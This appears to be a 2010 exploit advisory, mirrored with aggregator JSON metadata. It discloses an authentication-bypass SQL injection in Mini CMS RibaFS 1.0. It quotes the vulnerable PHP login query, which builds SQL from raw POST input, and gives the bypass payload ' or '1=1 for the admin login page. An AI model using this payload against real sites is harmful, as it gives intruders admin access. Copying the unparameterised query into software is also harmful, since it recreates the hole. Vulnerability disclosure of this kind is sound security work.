Description
=============================================================
Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability
=============================================================
[+] Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/9667
[+] Download : http://code.google.com/p/minicmsribafs/downloads/list
[+] Code [login.php]
if (isset($_POST['login']))
{
include_once("./../conexao.inc.php");
$login=$_POST['login'];
$senha=$_POST['senha'];
$senha=md5($senha);
$sql=" SELECT * FROM usuarios WHERE login ='$login' AND senha = '$senha' ";
$qry= mysql_query($sql);
[+] PoC: [path]/admin/login.php
Auth Bypass : ' or '1=1
[+] Greetz: All member inj3ct0r.com
# Inj3ct0r.com [2010-03-22]
{"id": "SECURITYVULNS:DOC:23428", "bulletinFamily": "software", "title": "Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability", "description": "\r\n\r\n=============================================================\r\nMini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability\r\n=============================================================\r\n\r\n\r\n[+] Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability\r\n\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0\r\n0 _ __ __ __ 1\r\n1 /' \ __ /'__`\ /\ \__ /'__`\ 0\r\n0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1\r\n1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0\r\n0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1\r\n1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0\r\n0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1\r\n1 \ \____/ >> Exploit database separated by exploit 0\r\n0 \/___/ type (local, remote, DoS, etc.) 1\r\n1 1\r\n0 [+] Site : Inj3ct0r.com 0\r\n1 [+] Support e-mail : submit[at]inj3ct0r.com 1\r\n0 0\r\n1 ###################################### 1\r\n0 I'm cr4wl3r member from Inj3ct0r Team 1\r\n1 ###################################### 0\r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n\r\n[+] Discovered by: cr4wl3r\r\n[+] My id: http://inj3ct0r.com/author/945\r\n[+] Original: http://inj3ct0r.com/exploits/9667\r\n[+] Download : http://code.google.com/p/minicmsribafs/downloads/list\r\n\r\n[+] Code [login.php]\r\n\r\nif (isset($_POST['login']))\r\n{\r\n\r\n include_once("./../conexao.inc.php");\r\n\r\n $login=$_POST['login'];\r\n $senha=$_POST['senha']; \r\n\r\n $senha=md5($senha);\r\n $sql=" SELECT * FROM usuarios WHERE login ='$login' AND senha = '$senha' ";\r\n\r\n $qry= mysql_query($sql);\r\n\r\n[+] PoC: [path]/admin/login.php\r\n Auth Bypass : ' or '1=1\r\n\r\n[+] Greetz: All member inj3ct0r.com\r\n\r\n\r\n# Inj3ct0r.com [2010-03-22]", "published": "2010-03-23T00:00:00", "modified": "2010-03-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:23428", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:33", "edition": 1, "viewCount": 6, "enchantments": {"score": {"value": 0.8, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10706"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10706"]}]}, "exploitation": null, "vulnersScore": 0.8}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645267154, "score": 1659803227}, "_internal": {"score_hash": "33cd5f6d1e45cbe92c025592eae828e3"}}
{}
Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability